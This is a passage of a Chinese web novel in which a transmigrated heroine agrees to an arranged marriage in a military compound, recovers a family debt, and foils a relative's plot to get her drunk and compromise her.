“果然人要衣装佛要金装,你穿上本小姐送你的裙子,立马就不一样了!”杨月苓打量着她,满意道。
觅婉婉今天穿上了昨天在百货商店买的天蓝色裙子和白色羊皮鞋,裙子是收腰款式,显得觅婉婉身形纤长。
加上她的肤色极白,纯天蓝色的长裙更衬得她肌肤胜雪,即便是在裙子外面随便披了个白衬衫,也难掩觅婉婉出众的样貌和独特的气质。
杨博才见到觅婉婉的时候也惊了一下,女儿昨天回来说认识了个乡下来的姑娘,人挺好的,要介绍给司机小王给人家。
对于女儿识人的眼光,杨博才没有半点信心,之所以安排,惯着苓苓罢了。
“杨叔叔好。”觅婉婉礼貌地跟杨博才打了声招呼后,就拉着杨月苓,“我给你带了桃酥和红糖。”
杨月苓不缺桃酥和红糖吃,可她还是第一次收到别人送的礼物,非常兴奋,“一会儿你看看司机小王成不成,不成我让我爸再给你找,军区单身汉一大堆,你随便挑!”
杨博才好笑地摇了摇头,看到女儿手上的桃酥和红糖,再看向觅婉婉时,眼光和语气都带了温度,“小夏,你安心相看,别紧张,也别害怕。”
觅婉婉乖巧点头,“谢谢杨叔叔给我安排,我不紧张。”
她一派坦然,沉静又稳当,看起来确实不像是紧张的样子。杨博才不由得悄悄打量了她一番,十几岁的小姑娘,却半点不怯场,在完全陌生的环境中表现得落落大方。
杨博才在她身上看到一个熟悉的影子,心底涌起一股复杂的情绪。
进屋后,司机小王目不斜视、端正地站在屋子中央
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,见到觅婉婉之后,呆了一瞬,很快就恢复严肃的姿态。
觅婉婉主动提议:“我们两单独出去聊吧。”她可不想来一场被众人围观、看猴似的相亲。
两人并没有走远,就在外边的小院说话。
“王同志,你想找个什么样的对象。”院子中有棵碗粗的玉兰树,正是开花的时候,觅婉婉站在玉兰树下,闻着玉兰花香,语气闲适地问。
“我...我...”小王却异常紧张,说话都结巴了,“我一个月工资加津贴五十二,每个月布票粮票什么的都有......这些结婚后都交给你。”
虽然他答非所问,觅婉婉依旧耐心地听他讲完,回以微笑。
“觅同志你有什么要求,也可以尽管提!”小王见她朝自己笑,也不知道哪来的勇气,大声说了一句。
“砰砰砰!”
“老杨,你个黑心肝的,快给老子开门!”
觅婉婉正要说话吧,就听到院子小门外巨大的拍门声和吼声。
杨博才父女俩和觅鸿晖听到动静,都从屋里出来了,觅婉婉他们也跟着走到门边。
开了门,只见一个穿着旧军装的黝黑肤色、国字脸的四十多岁男人一拳就朝杨博才打过去。
杨博才敏捷地握住他的拳头,“干什么?专门上我家来打架,你被撤职了,这么有空。”
“放你的屁!老子打你是因为你破坏人家亲事。宁拆十座庙,不毁一桩亲,老子打你都算轻了。”顾大勋抽出拳头,没好气地说。
看到站在后面的觅婉婉,顾大勋立马换了一张笑脸,眼角都要笑出褶子了,“这是觅婉婉同志是吧,我是谢宴清的叔叔,今天特意来提亲的。”
觅婉婉这才注意到站在顾大勋身后的谢宴清,仍旧是面无表情的清冷样子。
“顾叔叔你好。”觅婉婉立即反应过来,笑着打了个招呼,这就是男主的父亲,顾大勋军长。
一群人进了屋,把前因后果说了遍,杨博才道:“虽说是娃娃亲,也要看两个年轻人的意思。没定下来之前,觅婉婉同志是有选择权的。”
“婉婉啊,小王有小王的优点,宴清呢,也有他的长处,全看你怎么选择。”杨博才温和地对觅婉婉说,顾大勋在一旁点头表示同意。
他们都没有要以权势压人的意思,觅婉婉却觉得,他们隐隐都希望自己跟谢宴清能成。
“你跟我出来一下。”觅婉婉起身,叫了谢宴清一声。
“就在这里。”觅婉婉的本意是想走到玉兰树下,那里香,谢宴清却在离玉兰树不远处的地方停了下来。
“刚刚他说的那些,我也可以做到,你有什么要求,我也能满足。”谢宴清的脸上看不出情绪,话语中毫无感情。
觅婉婉看了他好一会儿,“这些不重要,我想知道,你为什么要跟我结婚?”
人人做事都有原因,觅婉婉来军区寻谢宴清结婚是为了度过最后艰难的半年。那么谢宴清呢?
原书中关于他们为什么会结婚没有写,可觅婉婉想知道,总不能因为她美若天仙,谢宴清对她一见钟情吧?
5. 选择
这个可能,觅婉婉想都不用想就可以否决。
暂且抛开书中对谢宴清的描写,光这短短三次接触下来,觅婉婉看谢宴清就是冷心冷情的样子。
更重要的是,觅婉婉不相信什么一见钟情,这不就是见色起意吗?
无论是现在还是前世,觅婉婉的目标都是快快乐乐地活着。结婚,也是为了更好地活着。
“结婚,可以让我远离顾大勋一家人,最好是再也没有关系。”谢宴清一字一句,语气冷得像结了冰。
纵使觅婉婉早已在书中了解他跟男主的恩恩怨怨,却也吃了一惊。谢宴清这么早便跟男主一家结仇了?
她心中有万千疑惑,却也知道此时他们交情不深,有些话问不得。
“好,我选择你,希望我们合作愉快。至于要求嘛,我暂时没想好,后面我想好了再提。”觅婉婉大方地向他伸出手,笑容明媚。
谢宴清深灰色的眼睛盯着她看了好几秒,伸出右手,轻轻地握住了她的手。
回到屋子里,顾大勋听说觅婉婉答应了,笑出一口大白牙,“好好好,结婚嘛,就是要两个人乐意才好!”
杨博才朝司机小王使了个眼色,小王带着失望的神色离开了屋子。
走到大门口时,小王忍不住回头看觅婉婉,觅婉婉朝他笑了一下,谢宴清不动声色地挡在觅婉婉面前。
“既然婉婉跟我家苓苓是朋友,今天又正好在我家,那我就作为女方家长,咱们谈谈结婚的事宜。”杨博才刚才趁觅婉婉出他们出去的时候,简单地问了问觅鸿晖家中的情况,知道他们姐弟俩父母已亡,于是主动提出这件事。
杨月苓见状,赶紧上前拉住杨博才的胳膊,“爸,婉婉是我的朋友,你可不能要少了。三转一响和彩礼都得齐活了。你不是常说,女孩子金贵嘛。我的朋友,那更是金贵。”
“是是是,你们都金贵。”杨博才满脸宠溺,笑着回答。
觅婉婉看他们父女如此轻松的相处模式,忍不住跟着笑起来。
顾大勋不乐意了,“老杨你说的什么话,我难道会亏待婉婉?三转一响加上五百块钱的彩礼,另外我再打一套家具送过去给他们小两口。”
“这么多?”觅鸿晖太吃惊,下意识说道。
村里娶媳妇一般是给个二三十块钱的彩礼,再加上送些鸡鸭鹅什么的。至于三转一响,整个村里能有一样的,那都是顶尖的存在,更别说四样凑齐了。
对于顾大勋的大手笔,觅婉婉也有些意外。不过她意外的是,顾大勋看起来对谢宴清不错,为何谢宴清却对顾大勋抱有仇视的态度?
“谢谢顾叔叔,不过家具,我大伯一家会包的,就是要劳烦您帮个忙,找我堂姐商量一下。”觅婉婉压下心中的种种情绪,对顾大勋说。
大伯觅庆山这些年来陆陆续续借了自家一百五十元,正好借顾大勋的势把钱要回来。这还是打了借条的,加上平时明里暗里占的那些便宜,让他们家打套家具,合情合理。
顾大勋没有反应过来,杨博才却立马意会,“这事啊,大勋,我看让嫂嫂去最合适。”
“行,婉婉啊,你什么时候去,我让我家那口子陪你去。”顾大勋正高兴呢,想也不想就答应了。
“谢谢顾叔叔。”觅婉婉笑着答谢,眼睛却不由自主地看向谢宴清。
只见他脸上露出一丝讥讽的笑容,与顾大勋喜气洋洋的笑脸形成鲜明的对比。
几个人又商量了一下结婚的日期,决定三天后领证、搬家。
“姐,这样会不会太草率了?谢宴清看起来冷得很,结婚后他能对你好吗?”回去的路上,觅鸿晖担心地问。
好不好什么的,觅婉婉根本没想过,能在谢宴清手下保住小命就不错了。不过,既然她来到了这里,背叛谢宴清、落井下石这些事情,觅婉婉是不会做的。
如此,他们以后好聚好散总是可以的。
“这里毕竟是部队,不会有什么事的,如果他真做什么过分的事,我就去找组织。就算是顾军长,也不会徇私的。”觅婉婉给觅鸿晖吃了个定心丸,觅鸿晖这才放下心来。
第二天一大早,一个穿着蓝色碎花旗袍,外面披着一件大衣,脸上带笑,一团和气的妇人就找到了觅婉婉。
“你就是婉婉吧,真是个漂亮的姑娘,你跟宴清站在一起,可真是让人大饱眼福了呢!”孙云打笑了一番后就介绍了一下自己,接着问起觅婉婉此去怎么个谈法。
觅婉婉既不隐瞒,也不添油加醋。拿出借条,将两家之间的过往说了,又清楚明白地讲述了父母过世之后,大伯一家一直觊觎他们姐弟两的抚恤金。
她说完之后,孙云看她的眼神就多了几分郑重。十几岁的小姑娘,情绪稳定,讲话条理清晰。
最重要的是胆子大,面对困境,敢于出走,千里迢迢寻亲。
孙云年轻的时候是在战地做医生的,最喜欢胆子大的小姑娘。“你放心,婉婉,钱和家具,婶婶保准给你要回来!”
“自然,有婶婶出马,我就放心了。”觅婉婉顺势恭维道。
觅桂兰现在住在钱金莲家中,钱金莲一看军长夫人过来了,甭管觅婉婉提出什么要求,尽都答应了。
顺利地出乎觅婉婉的想象,也不管觅桂兰眼中的怨毒,只乖巧懂事地躲在孙云后面。
“姑姑,你怎么什么都答应,这么多钱呢!”等觅婉婉一走,觅桂兰就忍不住大声问。
钱金莲赶紧捂住她的嘴,往外看了看,生怕觅婉婉他们没走远听到了。
“你知道刚才那个贵妇人是谁吗?那可是军长夫人,再说觅婉婉手中的欠条,白纸黑字的,是你爸写的吧。欠钱不还,你家的成分就有问题了,你还想不想找个军人做对象了。”
涉及自身利益,觅桂兰原本激动的心情瞬间冷静下来。是啊,要是让人知道他们家欠钱不还、趁着小叔家出事时落井下石......
“你马上打个电话给你爸,让他把钱寄过来。他要是不同意,你就回去吧。”钱金莲毫不客气地下了逐客令,她是看在彩礼钱的份上,才答应让这个侄女住进来的。
加上家里有四个孩子,钱金莲也想有个人搭把手。虽说觅桂兰来了之后也勤快,洗衣做饭带孩子样样不马虎,但到嘴的鸭子飞了,她哪能乐意。
觅桂兰能说什么,只能立即去镇上给家里打电话。
不出意外,觅庆山在电话里骂骂咧咧一顿,最后无奈地答应寄两百块钱来。
“爸,
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你放心,等我在这边嫁人了,一定会补贴家里的。”觅桂兰见他松口,忙保证道。
觅庆山正是因此,才答应的。以往家里有弟弟补贴,如今弟弟去了,侄子侄女不好拿捏。
若是女儿桂兰能嫁个军人,他把彩礼给妹妹,男方再给点粮食,他们家能度过这次饥荒,以后女儿再补贴一下家里。
“你要是结了婚后不管家里,看我怎么收拾你!”损失了两百块钱,觅庆山恶狠狠地威胁觅桂兰。
觅桂兰再三保证:“爸,我绝不会忘了你们的养育之恩和家里的恩情的,你放心......”
打完电话,觅桂兰放下手中的话筒时,如同放下千斤重的石头。手中的石头放下了,心中的石头仍旧沉甸甸地压在她心上,让她几乎透不过气来。
这份沉重在见到笑容灿烂、手里提着大包小包东西的觅婉婉时,瞬间化为了沉沉的怨恨。
同样心怀怨恨的还有跟在觅婉婉和杨月苓身后的姚红桃,她死死地盯着觅婉婉的身影,恨不得从她身上盯出一个洞来。
觅婉婉注意到了姚红桃不善的目光,一点不在意,专心帮杨大小姐拎好东西。
她一个路人甲,只管闷声发大财,哪管的了别人。姚红桃自己工作不敬业,就别怪自己抢饭碗了。
杨月苓除了脾气大一点,说话有的时候难听了一点,简直就是绝佳老板。只要带她们出门逛街,必定不会让他们空手回。
而且出手极为大方,昨天送裙子,今天送黄花梨木的大箱子。就算是今天有点不太待见姚红桃,也给她买了条丝巾。
姚红桃得了上好的丝巾,心中却愤愤不平,凭什么这个刚来的村姑可以有黄花梨木的大箱子,她却只有一条小小的丝巾。
回到军区大院姚家,宋春喜一见姚红桃回家,立即上前,“今天又带什么好东西回来?”
姚红桃没好气地把丝巾丢给她妈,“喏,就一条丝巾。”
“我滴乖乖,这丝巾看着就不便宜,我给收到箱子里吧。你哥着急娶媳妇呢,箱子里有点好东西,好让姑娘乐意嫁进来。”宋春喜摸了又摸,对丝巾爱不释手。
听到这话,姚红桃本就有些压不住的火气彻底爆发,“你箱子里就算攒一百条丝巾,好人家的姑娘也不愿意嫁给我哥!”
“我嫂子走了没一个月你们就急哄哄地找,也不看看大院里都怎么说咱家的!”
宋春喜气得拍了一下姚红桃的头,“你嫂子难产走的,留下个一岁多的女儿和刚出生的儿子,你哥不赶紧找个对象,谁来照顾孩子?再说了,隔壁钱金莲生了四个呢,不赶紧找个女的回家,多生两个,怎么追得上人家?”
“请问,姚红桃在家吗?”
两个人正在院子里吵着,就听门外响起声音。
姚红桃跑去开门,见是觅桂兰,没好气地问:“你来找我干什么?”
他们家跟钱金莲家住的近,自然知道隔壁家来了个侄女。不仅如此,因为钱金莲到处宣扬觅桂兰干活勤快,孩子带的好,姚红桃没少挨她妈的骂,让她学学人家,多给家里干活、带孩子。
“我是觅婉婉的堂姐。”觅桂兰开门见山地说。
姚红桃变了脸色,不假思索便让她进了门。
6. 一起
“婉婉,我爸寄钱过来了,一共两百块,你拿去打套好的家具正好够。”
翌日中午,觅婉婉在招待所收拾衣物,觅桂兰满脸堆笑地找上门对她说。
“辛苦堂姐跑一趟。”觅婉婉接过钱,客气地说了一句。
觅桂兰的目光盯着觅婉婉手中的钱半晌,很是舍不得,“婉婉,我爸妈知道错了,还特意给钱让我晚上请你们吃饭呢。”
“鸿晖,你记得不,小时候你最喜欢骑在我爸脖子上玩了。”觅桂兰又对觅鸿晖说。
幼年的时候,觅鸿晖确实是喜欢去大伯家玩的。他跟两个堂弟年龄相仿,三个人经常一块玩,大伯对他也和善。
然而,随着年龄的增长,觅鸿晖渐渐地发现不对劲。大伯经常借着他的名义朝自家要这个要那个,次数多了,觅鸿晖渐渐就不爱去大伯家。
如今觅桂兰提起,觅鸿晖想起幼年的时光,心下的滋味难以言喻。
“好啊,我们去哪吃?”觅婉婉神色不变,答应下来。
觅桂兰见她答应,立即面露喜色,“我在军区大院有个好友,叫姚红桃,她妈做得一手好菜,我们就去她家吃吧!”
“堂姐,晚上见。”觅婉婉一口答应下来。
目的达成,觅桂兰假笑着来,真笑着走。
觅鸿晖疑惑:“伯父他们一家真的知道错了?”
“你觉得坏人会这么容易改过?”觅婉婉不答,反问他。
觅鸿晖低下头,“我不知道。”
“晚上去了就知道了。”觅婉婉知道他记着儿时的情谊,对大伯一家还心存希冀。
人在少年时,涉世不深,因而最重情谊。可人品这个东西,哪有那么容易改变。坏人只会变老,不会变好。
傍晚时分,军区姚家小院里飘起阵阵炊烟,姚红桃和母亲宋春喜正在灶上忙活。
“你看着火,我得去屋里瞧瞧军军。”宋春用围巾擦了擦手,脚步匆匆地进了屋子。
姚红桃握着烧火棍,棍尖用力地插进火堆中,溅起密集的火星。
从前,她是家中最受宠爱的幺女。虽然后来大哥结婚,嫂子进了门,但家里还是妈说了算,家里有什么好东西都是紧着她用的。
这一切自从有了那个男婴之后就不一样了,姚红桃想不明白,一个话都不会说的小婴儿而已,她妈怎么就那么稀罕。
不仅家里的大部分钱都给了小侄子买奶粉、营养品,那些本来留着给她做嫁妆的好东西,也让她妈算计着给哥娶新媳妇。
这样下去,等自己出嫁的时候,哪有嫁妆?姚红桃无法接受这种局面,她要给她哥娶个便宜的媳妇回来。
等夜色完全黑下来的时候,觅桂兰带着觅婉婉姐弟两进了门,姚红桃一个人做了一大桌菜,脸色就不怎么好。
觅桂兰悄悄扯了一下她的袖子:“红桃,他们是我的堂妹和堂弟。”
姚红桃打起精神应付:“欢迎你们来我家做客,我们之前就认识了,觅婉婉,你讨好人很有一套。”
觅鸿晖听了这阴阳怪气的话直皱眉头,觅婉婉微微一笑,“那你要努力哦。”
“你!”姚红桃几乎控制不住神色,瞪着觅婉婉眼睛就要喷出火来。
“大家同龄人,又都是我的亲戚和朋友,大家开开心心的把晚饭吃了最重要。你说是不是?”觅桂兰见情况不对,生怕这两人一个不对付今天这顿晚饭就黄了,忙对姚红桃说。
想到今天这顿饭的目的,姚红桃生生咽下满肚子的气。反正等今天晚上过去了,她有的是机会找觅婉婉出气。
进了屋,宋春喜不加掩饰的打量着觅婉婉。
“太瘦了点吧。”打量完毕,宋春喜总结说。
觅鸿晖皱眉,挡在觅婉婉身前,“你说什么呢。”
“我们家那边闹好些年饥荒了,没饭吃可不就瘦。”觅婉婉从觅鸿晖身后探出头,解释说。
宋春喜听了更不满意,分别瞪了姚红桃和觅桂兰一眼,没好气地说,“我孙子小离不开人,你们几个小的自己玩吧。”
觅桂兰尴尬地跟觅婉婉解释:“阿姨忙活了半天,可能是累了。”
觅婉婉并不理会宋春喜的态度,拉着觅鸿晖泰然自若地坐下。
晚饭期间,觅桂兰热情地给觅婉婉夹菜、灌酒。就连姚红桃也一反他们刚进门的敌视态度,帮着觅桂兰灌觅婉婉的酒。
觅鸿晖见了,想尽办法帮觅婉婉挡酒,喝着喝着就醉了。
很快,觅婉婉也摇晃着倒在桌上。
她一倒,觅桂兰喜得立马起身,想要去扶觅婉婉,不料一阵天旋地转,也倒在了桌上。
“真是没用。”姚红桃吐槽了觅桂兰一句,先扶觅婉婉进了东边的房间。
至于觅鸿晖和觅桂兰,姚红桃没管他们,任他们趴桌子上睡。
天色已黑,计划又顺利,姚红桃放心地回房间睡觉。
东间房中,觅婉婉一直闭目养神,直到外边彻底没了动静,才悄悄起身,来到大厅中。
“鸿晖,醒醒。”
觅鸿晖迷迷糊糊地睁开眼,发现周围都黑漆漆的,“姐,怎么回事。”
“嘘~”觅婉婉轻声道,“我们先出去再说。”
好在军区大院路上装有路灯,两人借着灯光,找到大门,正准备出去,就见一个黑影滚进了院子,吓得觅鸿晖酒都醒了。
觅婉婉拉着他往后退,心中也是一惊。
待看清来人之后,更为惊讶,“谢宴清,你怎么会来这里?”
谢宴清显然也没想到觅婉婉会神志清醒地站在这里,很快,他反应过来,却是不自觉地往后退了一步。
他的眼中露出一丝害怕,让觅婉婉几乎以为自己看错了。
“你个王八蛋,有病吧!谢宴清,你上个月刚因为打断棉纺厂工人的腿受了处分,你今天要是打断我的腿,我一定闹得你被部队开除!”原来刚才滚进院子的黑影就是姚勇军,他抱着自己的右腿,蜷缩在地上,恶狠狠的说。
谢宴清深邃的眸中迅速涌起戾气,毫不留情地踢了他一脚,“无妨,起码你的腿断了,也没机会再去祸害姑娘。”
“啊~”姚勇军痛的在地上打滚,“你无缘无故殴打战友......”
“谁说他无缘无故殴打战友了?”不等姚勇军说完,觅婉婉打断他的哀嚎,“你想轻薄他的未婚妻,他打你不是很正常吗?”
谢宴清没什么表情地看向她,姚勇军更是长大了嘴巴,愣愣地看着觅婉婉。
“你谁啊?”姚勇军先是被觅婉婉的话惊呆了一瞬,后又被觅婉婉的美貌吸引,看了好几十秒才反问。
觅婉婉笑眯眯的说:“你妈和你妹妹想做的事情,你应该清楚吧?所以,你说我是谁。
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”
闻言,姚勇军脸上一阵红一阵白,“我不认识你,也不知道你是谁。”
院子里这么大的动静,宋春喜和姚红桃听到动静,从屋子里出来。
“儿啊,你这是怎么了?”宋春喜一看到蜷缩在地上的姚勇军,慌忙上前把他扶起来。
姚红桃则是对觅婉婉神志清醒地站在这里感到很惊讶,“你不是喝醉了?”
“你们简直是欺人太甚!”觅鸿晖看到这个场景,哪里不明白是觅桂兰联合这一家人想要算计姐姐。顿时怒火冲头,撸起袖子就要跟他们干架。
宋春喜挡在姚勇军面前,梗着脖子道:“我们不知道你在说什么,好吃好喝地招待你们,论谁来也不能说我们欺负了你姐弟两吧。”
早料到他们不会认账,觅婉婉拉住想要打人的觅鸿晖,指着姚勇军说:“他刚刚想欺负我,幸好谢宴清路见不平拔刀相助,我才幸免于难。”
姚勇军顿时急了,“我刚刚什么时候欺负你了,你不要睁着眼睛说瞎话!”
“谢宴清看见了,我弟弟也看见了。黑灯瞎火,你想趁机占清白人家的姑娘,人证如山,你要是不承认,我只好去找顾军长说理了,顾叔叔一定会给我和宴清交代的。”觅婉婉有条不紊地说。
“对!我看得清清楚楚,就是这么回事!”觅鸿晖反应过来,在一边疯狂点头。
姚勇军被这兄妹两的无耻震得目瞪口呆,却也知道,若是觅婉婉咬死了他意图占姑娘的便宜,只怕被部队开除的就不是谢宴清,而是他了。
更何况,顾军长在部队几乎是明着偏袒谢宴清。不仅如此,姚勇军看得分明,钱军长和杨参谋也是明里暗里地护着谢宴清。
谢宴清就站在那里,他的个子比姚勇军高出一个头,居高临下冷冷地看着他。姚勇军既害怕又嫉妒,谢宴清凭什么能得这么多领导的喜欢。
“你们想怎么样?”末了,姚勇军垂下头认栽。
“好说。”觅婉婉依旧微笑,“我今天晚上可是受了不少惊吓,你们赔偿我的精神损失费,一百块。”
“你怎么不去抢!”宋春喜听了,大失惊色。
“妈,难道你想看我被部队开除吗?”姚勇军不耐烦地说。
宋春喜不敢说话了,转而对姚红桃发起来火,“你还站着干什么,还不快去拿钱。都是你个死丫头的主意,这钱就该你出。”
姚红桃气得浑身颤抖,却是不敢反驳,乖乖回屋拿钱。
拿到钱后,觅婉婉觉得今晚来这一趟,值了。
等觅婉婉姐弟和谢宴清三人走出院子,姚勇军龇着牙,朝房间走去,待他看到大厅中的趴在桌子上的觅桂兰时,眼睛一亮。
不想谢宴清却去而复返,姚勇军一看到他那冷冰冰的脸就吓得一哆嗦,腿上的伤似乎更痛了,几乎站也站不稳。
“你的右腿我先记账上,下次再敢做这种事,你就别想站着。”谢宴清毫无表情地丢下这句话后,转身便走。
姚勇军吓得瘫坐在地上,大口大口地喘气,再也没有心思管大厅里的觅桂兰,连滚带爬地进了房间。
走出姚家,看到路灯下的两个身影,谢宴清顿住了脚步。
“谢宴清,快来呀,我们一起走!”
初春的天气,夜晚还有些凉,觅婉婉原本用双手抱着胸,见到谢宴清出来,立马开心地朝他挥手。
7. 缘分
谢宴清大跨步地走向她,觅鸿晖犹豫了一下,叫他:“姐夫。”
谢宴清嗯了一声表示回应,接着沉默地走在觅婉婉旁边。
“你真是太厉害啦!就应该打断那些猥琐男的腿才是,让他们欺负女孩子。”觅婉婉语气中带着显而易见的崇拜和开心。
“你不觉得我过分、残忍?”谢宴清依旧是那副看不出表情的脸,他话不多,对别人没什么好奇心,是以很少问别人的想法,此刻却忍不住问觅婉婉。
上个月谢宴清打断棉纺厂工人腿的事情在部队和家属院传开后,很多人见了他都会露出害怕的神色。
他们对谢宴清做出的残暴行为感到深深的恐惧,怕而远之。
“你那里过分,哪里残忍了。比起他们做的事情,你简直是太善良了。”觅婉婉实话实说,不带半点恭维。
就算是在觅婉婉生活的年代,人们的思想已经解放的比较彻底,女孩子一旦被欺负,依然是要承担很大的舆论压力的。
更不用说在这个年代,女孩子一旦名声不好,在婚姻上是难以周全的。而女孩们想要拥有不结婚的选择权,只怕还需要等待时机。
这也是书里女主白霜儿和男主顾宁阳缘分的开始,即便白霜儿开始的时候再讨厌顾宁阳,迫于舆论压力,她仍是嫁给了顾宁阳。
只是如今有觅婉婉横插一脚,不知他们后续会如何发展。
第一次有人用“善良”这个词来形容自己,谢宴清僵硬了一瞬,“一个月前,我打断棉纺厂工人腿的时候,你还没来这里吧?”
觅婉婉理所当然道:“我虽然没来,但一定是那个工人做了不好的事情,你才打断他的腿的!”
心脏似乎被觅婉婉毫无理由的信任重重地撞了一下,于是包裹在心脏外面的那层冰霜都似乎落下来不少。
谢宴清的脸上难得有了温度,连带着语气都变得温柔,“那时我看见他在棉纺厂的小巷子里耍流氓。”
“那他活该断腿!”一旁的觅鸿晖说道。
“就是,阉了他都不为过。”觅婉婉接着说。
觅鸿晖震惊了,一言难尽地看着觅婉婉,“姐,你也太凶残了吧?”
“我不对恶人凶残,恶人就会对我凶残。”觅婉婉丝毫不觉得对坏人凶残有什么问题。
他好好的一个沉温柔貌美的姐姐怎么变成凶残货了,一定是因为爸妈过世的打击太大了,觅鸿晖在心里默默地想。
谢宴清一言不发地跟他们保持同样的步调往前走,原本有些沉重的步伐在他们姐弟俩你一言我一语的吵闹中越发轻快。
三个人刚走出军区大院,隐隐听到前面有吵闹声。
觅婉婉得了钱心情好,“我们过去看看吧。”
她走上前,一看,不是白霜儿和顾宁阳是谁?
两个人正在一辆小轿车面前拉拉扯扯,白霜儿似乎是受了伤,倒在地上,顾宁阳想把白霜儿拉起来,白霜儿不愿意,一直推开顾宁阳的手。
“三更半夜,你开车送我回家,到时我怎么说的清楚,你走开。”白霜儿痛的脸色发白,神情依旧倔强。
顾宁阳强忍着不耐烦:“你这个女人,自己不长眼撞上来就算了。本少爷好心送你回家,你还不领情?”
“打扰一下,可否蹭个车?”觅婉婉出声打断他们。
不愧是男女主,果然有缘分。
“又是你。”顾宁阳立马认出觅婉婉就是上次声称在山洞遇见他们的女人,顿时没好气,“本少爷的车不是谁想坐就坐的。”
上次的意外,顾宁阳本不愿意对白霜儿负责的,毕竟他在山上确实什么都没对白霜儿做,两个人清清白白。让他因此跟一个不认识的女人结婚,顾宁阳怎么可能乐意。
但觅婉婉出面作证,他不用跟白霜儿结婚了,顾宁阳不知怎么的,又觉得心里闷闷的,怪不舒服的。
原本杨月苓自称大小姐,觅婉婉只以为她家世不同寻常。如今看来,是书的作者不尊重历史啊。
这个年代,一群纨绔自称少爷小姐什么的,真的合适嘛。
作者要是想写一本霸总和小白花的故事,觅婉婉觉得,还是放在现代背景比较合适。放在现在,怎么看怎么别扭。
“我想坐你的车,行吗?”谢宴清走上前,冷声对顾宁阳道。
顾宁阳想说不行,但不敢,只好硬着头皮让他们上了车。要是让他爸知道他敢不带谢宴清,他就死定了。
说起来,顾宁阳一直想不明白,他爸怎么就那么重视谢宴清,重视的程度甚至超过自己这个亲生儿子。
前几天顾宁阳跑去问他妈,谢宴清不会是爸在外面的私生子吧。一向纵容他的妈把他好一顿骂,让他跟谢宴清打好关系,别惹他爸生气。
看这样子,谢宴清不可能是他爸的私生子,不然他妈不能站私生子不站亲儿子。
后来顾宁阳有意跟谢宴清交往,谁知每次找他都碰一鼻子灰。好像现在,谢宴清坐他的车,全程一眼不发,完全把他当冷空气,顾宁阳懒得热脸贴冷屁股。
他们先送白霜儿回村,下车的时候,白霜儿真挚地朝觅婉婉道谢,“你又救了我一次。”
觅婉婉笑说:“那你以后可要多送我些山货呀。”
“一定的。”白霜儿保证说。
接着顾宁阳又送觅婉婉姐弟俩回招待所,见谢宴清也要下车,顾宁阳阻奇怪道:“你下车做什么,我也要回军区,你不坐我的车回,难道要走回去?谢宴清,我看你跟大家说的一样,脑子有问题。”
谢宴清身上的气温骤然降下来,觅婉婉忍他很久了,忍不住吐槽他:“你脑子才有问题,情商这么低,不会说话就不要乱说话。省的哪天得罪人,怎么死的都不知道。你自己死也就罢了,要是祸及家人,你家人可真是倒霉。”
“情商是什么?”顾宁阳的关注点显然跑偏了。
觅婉婉:“意思是你脑子不好。”
“你!”顾宁阳正想发火,就见觅婉婉一把降谢宴清塞进车里。
“谢宴清,有车坐干嘛要走路,反正他脑子不好,坐他的车不用带感情。”觅婉婉把车门一关,转身就跟觅鸿晖进了招待所。
顾宁阳惊呆了,她...她怎么敢管谢宴清?
谢宴清凶名在外,又有他爸他们几个战友保护着,整个部队和家属院没人敢惹他。
就算是跟谢宴清关系比较好的王丘雨和赵天瑞,顾宁阳也从没见他们有多亲密。谢宴清始终保持和任何人保持一段距离,不让任何人靠近。
黑色的小轿车缓缓驶入军属大院,谢宴清下车的时候,顾宁阳郑重其事地对他说:“我可是测过智商的,脑子好的很,你不要出去乱说。”
谢宴清看傻子一样看了他几眼,没说话,径直走了。
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>回到顾家,顾宁阳的车还没停稳,顾大勋就提着棍子出来了,“兔崽子,谁让你偷开我的车出去的?!”
顾宁阳连忙下车跑路,一边跑一边求饶,“爸!爸!我就开着车出去兜了一圈,没干什么坏事,我还顺路把谢宴清搭回来了呢。”
听到谢宴清,顾大勋立马放下手中的棍子,“你说真的,宴清坐了你的车?”
“真的真的,不仅是谢宴清,还有他那个未婚妻,叫觅婉婉的和她弟弟,我帮谢宴清把他们送回招待所的。”顾宁阳连连保证,一骨碌地说出来。
至于白霜儿,要是让他爸知道他撞了人,他就死定了,顾宁阳可不敢说。
顾大勋露出些笑意,“看来他们小两口感情不错,我得赶紧帮宴清把这婚事办妥。”
“你给我滚回部队宿舍去,以后除非放假,不许回家!”顾大勋朝顾宁阳吼一句,扔下棍子往回走。
正好孙云走过来,顾宁阳苦着脸说:“妈,你老实告诉我,谢宴清才是我爸亲生的,我是捡来的吧?”
孙云轻轻拍了一下他的头,“整天胡说八道,让你爸听见又该挨棍子了。”
“部队宿舍离家又不远,我在哪住不是住,他怎么就非得赶我去部队宿舍。一群大老爷们住在一起,臭死了。”顾宁阳颇为苦恼,除此之外,那群人都是乡下来的土包子,顾宁阳跟他们说不到一块去,更不想整天跟他们待在一起。
孙云心疼道:“你安心在那待几个月,这次来基层,不过是锻炼几个月。最多三个月,妈就能找到关系把你调回省城。”
顾宁阳开心了,“妈,我就知道,你对我好。”
两天的时间一闪而过,第三天,觅婉婉跟谢宴清领了结婚证,两个人搬进家属大院一套一室一厅带院子的宿舍中。
屋子里的家具都是新打的,桌子、柜子、床一应俱全。锅碗瓢盆也是崭新的,散发着亮光。
“这些是我们几个做叔叔的为你们准备的,除此之外,三转一响我也买好了。”顾大勋喜气洋洋地说,似乎极为高兴。
缝纫机是熊猫牌的,大金鹿的自行车,上海牌的手表和收音机,都是磨盘镇,甚至是县里能买到的最好的,顾大勋显然对这桩婚事极为用心。
谢宴清对此没什么表情,觅婉婉认真道谢:“多谢顾叔叔和其他几位叔叔,如今家里还要收拾,等我把家里收拾好了,请几位叔叔过来吃饭。”
“好,我等着吃你们家的饭。”顾大勋听了觅婉婉的话,更加高兴。
临走的时候,觅婉婉拿出几包香菇干送给顾大勋,“我和宴清也没什么东西好送你们的,这几包蘑菇干,是磨盘镇的山上捡来仔仔细细晒干的,顾叔叔您拿去和几位叔叔尝个新鲜。”
“好好好,我们就爱吃山味,用来下酒正好。”顾大勋见觅婉婉会做人,更加高兴,忙不迭地答应。
送完顾大勋,觅婉婉回头,却见谢宴清盯着她看。
“怎么了?”觅婉婉不爱猜测别人的心思,况且,她跟谢宴清是要生活在一起一段时间的,要是天天猜来猜去可累死了,因此她直接问。
谢宴清垂下眼眸,“你何必如此客气。”
觅婉婉笑了:“以后,我们就是一个家了,既然成家了,我可要为我们家树立一个好形象,你说是不是?”
“随你。”谢宴清沉默良久,丢下两个字,转身回屋。
8. 分寸
